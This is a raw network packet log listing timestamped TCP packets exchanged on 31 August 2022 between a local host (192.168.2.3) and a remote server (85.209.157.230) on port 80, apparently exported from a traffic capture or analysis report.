Aug 31, 2022 08:34:31.264204025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264238119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264245987 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264256954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264276028 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264277935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264293909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264314890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264336109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264348030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264370918 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264574051 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264596939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264614105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264632940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264655113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264656067 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264674902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264681101 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264693022 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264712095 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264738083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264750004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.264775991 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.264986992 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265014887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265053988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265074968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265095949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265098095 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265115976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265126944 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265135050 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265151978 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265157938 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265162945 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265224934 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265561104 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265585899 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265607119 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265623093 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265636921 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265639067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265657902 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265664101 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265678883 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265695095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265705109 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.265707016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.265742064 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266020060 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266058922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266074896 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266115904 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266124964 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266144991 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266165018 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266170025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266189098 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266205072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266216040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266231060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266252995 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266258001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266330957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266377926 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266396999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266417027 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266417027 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266438961 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266443968 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266457081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266473055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266479969 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266484976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266510010 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266527891 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266578913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266594887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266613007 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266633987 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266638994 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266650915 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266670942 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266690016 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.266695023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266729116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266740084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.266768932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267230988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267262936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267285109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267304897 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267313957 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267322063 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267337084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267343044 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267371893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267379045 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267395020 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267407894 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267424107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267441034 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267445087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267461061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267476082 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267496109 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267524958 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267535925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267560959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267580986 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267601967 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267618895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267627001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267635107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267651081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267652035 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267697096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267724037 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267736912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267772913 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267806053 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267822981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267839909 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267857075 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267863989 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.267869949 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.267894983 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268208981 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268238068 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268258095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268275023 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268282890 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268297911 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268310070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268316031 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268332005 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268353939 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268371105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268385887 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268398046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268409967 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268481016 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268521070 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268529892 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268556118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268574953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268589973 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268600941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268613100 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268641949 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268703938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268723011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268779039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268799067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268815994 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268817902 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268836021 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268845081 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268856049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268878937 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.268893957 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268913984 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268924952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.268937111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269622087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269649029 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269664049 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269682884 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269701004 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269701958 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269725084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269745111 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269762039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269768000 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269778013 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269805908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269815922 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269828081 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269865036 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.269872904 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269890070 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269934893 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269953966 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269973040 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.269975901 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270003080 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270004034 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270020008 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270056009 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270057917 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270072937 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270085096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270097017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270430088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270479918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270497084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270519018 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270525932 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270541906 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270555973 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270559072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270576954 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270586967 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270616055 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270617962 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270642042 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270654917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270672083 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270682096 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270708084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270741940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270780087 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270783901 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270797968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270819902 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270821095 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270839930 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270857096 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270860910 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.270889997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270901918 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.270930052 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272306919 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272336960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272357941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272371054 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272388935 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272397041 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272407055 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272420883 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272423983 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272447109 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272449017 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272469997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272490025 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272494078 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272505999 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272524118 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272528887 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272541046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272553921 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272576094 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272680044 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272712946 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272716999 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272730112 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272775888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272810936 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272810936 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272826910 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272850990 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272864103 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272882938 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272900105 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272911072 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.272938013 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.272965908 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273278952 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273303032 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273319960 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273340940 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273359060 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273360968 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273377895 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273384094 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273396969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273417950 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273432016 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273435116 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273444891 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273459911 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273670912 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273694038 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273713112 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273716927 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273762941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273780107 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273801088 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273802996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273818970 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273827076 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273834944 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273859024 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273896933 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273910046 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.273947001 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.273982048 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274091959 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274116039 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274135113 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274153948 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274158955 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274175882 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274189949 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274194002 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274207115 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274209976 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274224997 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274236917 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274261951 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274297953 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274328947 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274349928 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274359941 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274374962 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274393082 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274445057 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274492979 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274514914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274530888 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274530888 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274553061 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274569988 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274580956 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274588108 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274610996 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274620056 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274655104 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.274663925 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.274673939 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279298067 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279330969 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279376030 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279397011 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279412031 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279416084 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279436111 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279438019 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279455900 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279458046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:34:31.279473066 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:34:31.279491901 CEST	80	49763	85.209.157.230	192.168.2.3
